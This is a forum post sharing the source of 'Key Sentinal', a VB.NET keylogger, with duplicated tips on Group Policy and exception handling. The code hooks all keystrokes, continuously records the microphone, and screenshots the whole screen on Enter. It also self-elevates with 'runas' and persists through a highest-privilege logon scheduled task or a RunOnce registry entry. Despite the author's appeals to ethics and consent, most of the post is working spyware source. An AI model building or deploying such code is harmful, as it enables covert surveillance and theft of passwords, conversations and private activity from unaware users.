Rythorian
RYTHORIAN
- Joined
- Nov 5, 2024
- Messages
- 39
- Programming Experience
- 5-10
I wanted to share this application I wrote called "Key_Sentinal". I've read a lot about low-level keyboard hooks issues. I have also examined a bunch of code that wasn't even written properly. They lacked error handling, lack of performance in code writing, etc. In reality, a lot of corporations use these techniques to protect their data by monitoring their employee's, parents wanting to be absolute sure their kids are doing the right thing online, and other times, people abuse the code for other purposes. I implore you not to do this with this code. I ask you to study my methods, improve it if you can or explore it. This application schedules a task at the highest administrative level and has a fail safe if the first function fails.
TIPS:
GPO:
A Group Policy Object (GPO) is a virtual collection of policy settings. A GPO has a unique name, such as a GUID.
Group Policy settings are contained in a GPO. A GPO can represent policy settings in the file system and in the Active Directory. GPO settings are evaluated by clients using the hierarchical nature of Active Directory.
To create Group Policy, an administrator can use the Group Policy Object Editor, which can be a stand-alone tool. However, it is recommended that you use the Group Policy Object Editor as an extension to an Active Directory-related MMC snap-in because this will allow you to browse the Active Directory for the correct Active Directory container and define Group Policy based on the selected scope of management (SOM). Examples of Active Directory-related snap-ins include the Active Directory Users and Computers snap-in and the Active Directory Sites and Services snap-in.
Be aware that policy settings are divided into policy settings that affect a computer and policy settings that affect a user. Computer-related policies specify system behavior, application settings, security settings, assigned applications, and computer startup and shutdown scripts. User-related policies specify system behavior, application settings, security settings, assigned and published applications, user logon and logoff scripts, and folder redirection. Be aware that computer-related settings override user-related settings.
SEE: Group Policy Objects
Hex is much more compact than binary and it makes it much more practical and less overwhelming to use. Because each byte is exactly eight binary digits, that means each byte is always exactly two hex digits. That makes it really easy to identify how many bytes of information a number is, and what those bytes are. You'll see the usage in this application.
Exception Handling Tips:
Is important because it allows you to anticipate and respond to potential errors in your code. By using try/catch blocks, you can gracefully handle exceptions and avoid crashing your program
Timer1 Interval: 180000
Timer2 Interval: 180010
TIPS:
GPO:
A Group Policy Object (GPO) is a virtual collection of policy settings. A GPO has a unique name, such as a GUID.
Group Policy settings are contained in a GPO. A GPO can represent policy settings in the file system and in the Active Directory. GPO settings are evaluated by clients using the hierarchical nature of Active Directory.
To create Group Policy, an administrator can use the Group Policy Object Editor, which can be a stand-alone tool. However, it is recommended that you use the Group Policy Object Editor as an extension to an Active Directory-related MMC snap-in because this will allow you to browse the Active Directory for the correct Active Directory container and define Group Policy based on the selected scope of management (SOM). Examples of Active Directory-related snap-ins include the Active Directory Users and Computers snap-in and the Active Directory Sites and Services snap-in.
Be aware that policy settings are divided into policy settings that affect a computer and policy settings that affect a user. Computer-related policies specify system behavior, application settings, security settings, assigned applications, and computer startup and shutdown scripts. User-related policies specify system behavior, application settings, security settings, assigned and published applications, user logon and logoff scripts, and folder redirection. Be aware that computer-related settings override user-related settings.
SEE: Group Policy Objects
Hex is much more compact than binary and it makes it much more practical and less overwhelming to use. Because each byte is exactly eight binary digits, that means each byte is always exactly two hex digits. That makes it really easy to identify how many bytes of information a number is, and what those bytes are. You'll see the usage in this application.
Exception Handling Tips:
Is important because it allows you to anticipate and respond to potential errors in your code. By using try/catch blocks, you can gracefully handle exceptions and avoid crashing your program
Timer1 Interval: 180000
Timer2 Interval: 180010
Low-Level Hook:
'ⓒ ALL RIGHTS RESERVED | MIT(O) LICENSE | MIT No Attribution | 2025 COPYRIGHT JUSTIN LINWOOD ROSS
'Key Sentinel: A VB.NET Keylogger and Audio Recorder
'Introduction:The provided VB.NET code Implements a keylogger And audio recording application named "Key Sentinel."
'This application captures keystrokes And records audio For a specified duration, saving both the keystrokes And audio files To the user's desktop.
'The application also includes functionality to take screenshots upon specific key presses.
'Key Concepts:
'Keylogging: The application captures keyboard input Using low-level keyboard hooks.
'Audio Recording: It records audio Using the NAudio library, allowing For real-time audio capture.
'File Management: The application creates directories And manages file paths For saving logs And recordings.
'Timers: Two timers are used To manage the recording duration And To restart the recording process.
'Process Management: The application checks For elevated permissions And can restart itself With higher privileges If necessary.
'Code Structure: The code Is structured into several key components
'Imports: Necessary libraries For audio processing, file handling, And interop services.
'Class Definition: The main Class Form1 contains all the methods And Event handlers.
'Event Handlers(): Methods that respond To form loading, timer ticks, And keyboard events.
'Utility Functions : Functions for executing commands, checking permissions, And logging keystrokes.
Imports System.ComponentModel
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Threading
Imports NAudio.Wave
Public Class Form1
' NAudio: Compliments to Mark Heath for the audio library
Private waveIn As WaveInEvent ' Object for capturing audio input
Private waveFile As WaveFileWriter ' Object for writing audio to a file
Private recordingDuration As TimeSpan = TimeSpan.FromMinutes(3) ' Duration for audio recording
Private startTime As DateTime ' To track when recording starts
' Constants for keyboard hook functions
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN As Integer = &H100
Private Const WM_KEYUP As Integer = &H101
' Delegate for low-level keyboard hook
Private Delegate Function LowLevelKeyboardProc(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
Private Shared _hookID As IntPtr = IntPtr.Zero ' Hook ID for keyboard hook
Private _proc As LowLevelKeyboardProc = AddressOf HookCallback ' Callback function for keyboard events
Private _logFilePath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), "Key_Sentinal\KeyLog_" & Date.Now.ToString("yyyyMMdd_HHmmss") & ".txt") ' Path for log file
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
' Create a folder on the desktop if it doesn't exist
If Not Directory.Exists($"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\Key_Sentinal") Then
Directory.CreateDirectory($"{Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}\Key_Sentinal")
End If
_hookID = SetHook(_proc) ' Set the keyboard hook
' Prepare the audio file for recording
Dim fileName As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), $"Key_Sentinal\Recording_{DateTime.Now:yyyyMMdd_HHmmss}.wav")
waveIn = New WaveInEvent With {
.WaveFormat = New WaveFormat(44100, 1) ' Set audio format (44.1 kHz, mono)
}
waveFile = New WaveFileWriter(fileName, waveIn.WaveFormat) ' Create a new wave file writer
' Attach event handlers for audio data and recording stop
AddHandler waveIn.DataAvailable, AddressOf OnDataAvailable
AddHandler waveIn.RecordingStopped, AddressOf OnRecordingStopped
waveIn.StartRecording() ' Start audio recording
startTime = DateTime.Now ' Record the start time
Timer1.Start() ' Start the timer for recording duration
End Sub
Private Sub OnDataAvailable(sender As Object, e As WaveInEventArgs)
' Write audio data to the file
If waveFile IsNot Nothing Then
waveFile.Write(e.Buffer, 0, e.BytesRecorded) ' Write the recorded data
waveFile.Flush() ' Ensure data is written to the file
End If
End Sub
Private Sub OnRecordingStopped(sender As Object, e As EventArgs)
' Dispose of audio resources when recording stops
waveIn.Dispose()
waveFile.Dispose()
End Sub
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
' Check if the recording duration has been reached
If DateTime.Now - startTime >= recordingDuration Then
waveIn.StopRecording() ' Stop recording
Timer1.Stop() ' Stop the timer
Timer2.Start() ' Start the second timer for restarting recording
End If
End Sub
Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
Try
Timer2.Stop() ' Stop the timer
If DateTime.Now - startTime >= recordingDuration Then
' Prepare for a new audio recording
Dim fileName As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), $"Key_Sentinal\Recording_{DateTime.Now:yyyyMMdd_HHmmss}.wav")
waveIn = New WaveInEvent With {
.WaveFormat = New WaveFormat(44100, 1) ' Set audio format
}
waveFile = New WaveFileWriter(fileName, waveIn.WaveFormat) ' Create a new wave file writer
' Attach event handlers
AddHandler waveIn.DataAvailable, AddressOf OnDataAvailable
AddHandler waveIn.RecordingStopped, AddressOf OnRecordingStopped
waveIn.StartRecording() ' Start new recording
startTime = DateTime.Now ' Reset start time
Timer1.Start() ' Restart the first timer
End If
Catch ex As Exception
' Handle exceptions gracefully
MessageBox.Show($"An error occurred: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
Finally
Timer2.Stop() ' Ensure Timer2 is stopped in case of an error
End Try
End Sub
' Function to execute a command and return its output
Public Function GPO(cmd As String, Optional args As String = "", Optional startin As String = "") As String
Dim output As String = String.Empty
Try
Using p As New Process()
p.StartInfo = New ProcessStartInfo(cmd, args) With {
.WorkingDirectory = If(String.IsNullOrEmpty(startin), String.Empty, startin),
.RedirectStandardOutput = True,
.RedirectStandardError = True,
.UseShellExecute = False,
.CreateNoWindow = True
}
p.Start() ' Start the process
output = p.StandardOutput.ReadToEnd() & p.StandardError.ReadToEnd() ' Capture output and error
p.WaitForExit() ' Wait for the process to exit
End Using
Catch ex As Exception
output = $"Error: {ex.Message}" ' Handle exceptions
End Try
Return output ' Return the output
End Function ' Get Process Output.
' Function to check if the application can get higher privileges
Public Function CanH() As Boolean
Dim s As String = GPO("c:\windows\system32\cmd.exe", "/c whoami /all | findstr /I /C:""S-1-5-32-544""")
Return s.Contains("S-1-5-32-544") ' Check for admin group SID
End Function ' Check if can get Higher.
' Function to check if the application is running with higher privileges
Public Function CH() As Boolean
Dim s As String = GPO("c:\windows\system32\cmd.exe", "/c whoami /all | findstr /I /C:""S-1-16-12288""")
Return s.Contains("S-1-16-12288") ' Check for high integrity level SID
End Function ' Check if Higher.
' Function to elevate the application to higher privileges
Public Function GH() As Boolean
If Not CH() Then
Dim pc As New ProcessStartInfo(Process.GetCurrentProcess.MainModule.FileName) With {
.Verb = "runas" ' Request elevation
}
Try
Process.Start(pc) ' Start the process with elevated privileges
Return True
Catch ex As Exception
Return False ' Handle exceptions
End Try
End If
Return False
End Function ' Get Higher.
' Background worker to manage scheduled tasks
Private Sub SubContractors()
Dim subw As New BackgroundWorker()
AddHandler subw.DoWork, Sub(sender1 As Object, e1 As DoWorkEventArgs)
While True
Try
If CH() Then
' Create a scheduled task if running with high privileges
If Not GPO("c:\windows\system32\cmd.exe", "/C schtasks /create /rl HIGHEST /sc ONLOGON /tn Key_Sentinal /F /tr """ & Process.GetCurrentProcess.MainModule.FileName & """").Contains("successfully") Then
' Fallback to registry if task creation fails
My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Key_Sentinal", Process.GetCurrentProcess.MainModule.FileName)
End If
Else
' Fallback to registry if not high privilege
My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\RunOnce", True).SetValue("Key_Sentinal", Process.GetCurrentProcess.MainModule.FileName)
End If
Catch ex As Exception
' Handle exceptions
End Try
Thread.Sleep(15000) ' Wait before next check
End While
End Sub
subw.RunWorkerAsync() ' Start the background worker
End Sub
' Function to set the keyboard hook
Private Function SetHook(proc As LowLevelKeyboardProc) As IntPtr
Using curProcess As Process = Process.GetCurrentProcess()
Using curModule As ProcessModule = curProcess.MainModule
Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0) ' Set the hook
End Using
End Using
End Function
' Callback function for keyboard events
Private Function HookCallback(nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
If nCode >= 0 AndAlso (wParam = CType(WM_KEYDOWN, IntPtr) Or wParam = CType(WM_KEYUP, IntPtr)) Then
Dim vkCode As Integer = Marshal.ReadInt32(lParam) ' Get the virtual key code
LogKey(vkCode) ' Log the key
End If
Return CallNextHookEx(_hookID, nCode, wParam, lParam) ' Call the next hook in the chain
End Function
' Function to log the key pressed
Private Sub LogKey(vkCode As Integer)
Dim key As String = ""
' Map virtual key codes to string representations
Select Case vkCode
Case Keys.A : key = "A"
Case Keys.B : key = "B"
Case Keys.C : key = "C"
' ... (other keys)
Case Keys.Enter : key = "Enter"
' Capture screenshot on Enter key press
If vkCode = Keys.Enter Then
CaptureScreenshot() ' Call the screenshot function
End If
' ... (other keys)
Case Else : key = "Unknown Key"
End Select
Try
File.AppendAllText(_logFilePath, Date.Now.ToString("yyyy-MM-dd HH:mm:ss") & " - " & key & Environment.NewLine) ' Log the key press
Catch ex As Exception
MessageBox.Show("Error logging key: " & ex.Message) ' Handle logging errors
End Try
End Sub
' Function to capture a screenshot
Private Sub CaptureScreenshot()
Try
Dim userName As String = Environment.UserName
Dim savePath As String = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
Dim dateString As String = Date.Now.ToString("yyyyMMddHHmmss")
Dim captureSavePath As String = Path.Combine(savePath, "Key_Sentinal", $"capture_{dateString}.png")
' Create a bitmap that encompasses all screens
Dim bmp As New Bitmap(Screen.AllScreens.Sum(Function(s) s.Bounds.Width),
Screen.AllScreens.Max(Function(s) s.Bounds.Height))
Using gfx As Graphics = Graphics.FromImage(bmp)
' Capture the entire virtual screen
gfx.CopyFromScreen(SystemInformation.VirtualScreen.X,
SystemInformation.VirtualScreen.Y,
0,
0,
SystemInformation.VirtualScreen.Size)
End Using
' Create the directory if it doesn't exist
Dim directoryPath As String = Path.GetDirectoryName(captureSavePath)
If Not String.IsNullOrEmpty(directoryPath) AndAlso Not Directory.Exists(directoryPath) Then
Directory.CreateDirectory(directoryPath)
End If
' Save the bitmap to the specified path
bmp.Save(captureSavePath, System.Drawing.Imaging.ImageFormat.Png)
Debug.WriteLine("Screenshot saved successfully at: " & captureSavePath)
Catch ex As Exception
Debug.WriteLine("An error occurred: " & ex.Message) ' Handle screenshot errors
End Try
End Sub
Private Sub Form1_FormClosing(sender As Object, e As FormClosingEventArgs) Handles MyBase.FormClosing
UnhookWindowsHookEx(_hookID) ' Unhook the keyboard hook on form closing
GC.Collect() ' Force garbage collection
GC.WaitForPendingFinalizers() ' Wait for finalizers to complete
End Sub
' P/Invoke declarations for Windows API functions
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Shared Function SetWindowsHookEx(idHook As Integer, lpfn As LowLevelKeyboardProc, hMod As IntPtr, dwThreadId As UInteger) As IntPtr
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Shared Function UnhookWindowsHookEx(hhk As IntPtr) As Boolean
End Function
<DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Shared Function GetModuleHandle(lpModuleName As String) As IntPtr
End Function
<DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)>
Private Shared Function CallNextHookEx(hhk As IntPtr, nCode As Integer, wParam As IntPtr, lParam As IntPtr) As IntPtr
End Function
End Class
'Conclusion:
'The "Key Sentinel" application Is a comprehensive tool For capturing keyboard input And audio recordings.
'It demonstrates the use Of low-level hooks For keylogging, audio processing With NAudio, And file management In VB.NET.
'While the application showcases powerful programming techniques, it Is essential to consider ethical implications And legal compliance
'when developing And deploying such software. Always ensure that users are informed And have consented to any form of monitoring.
Last edited: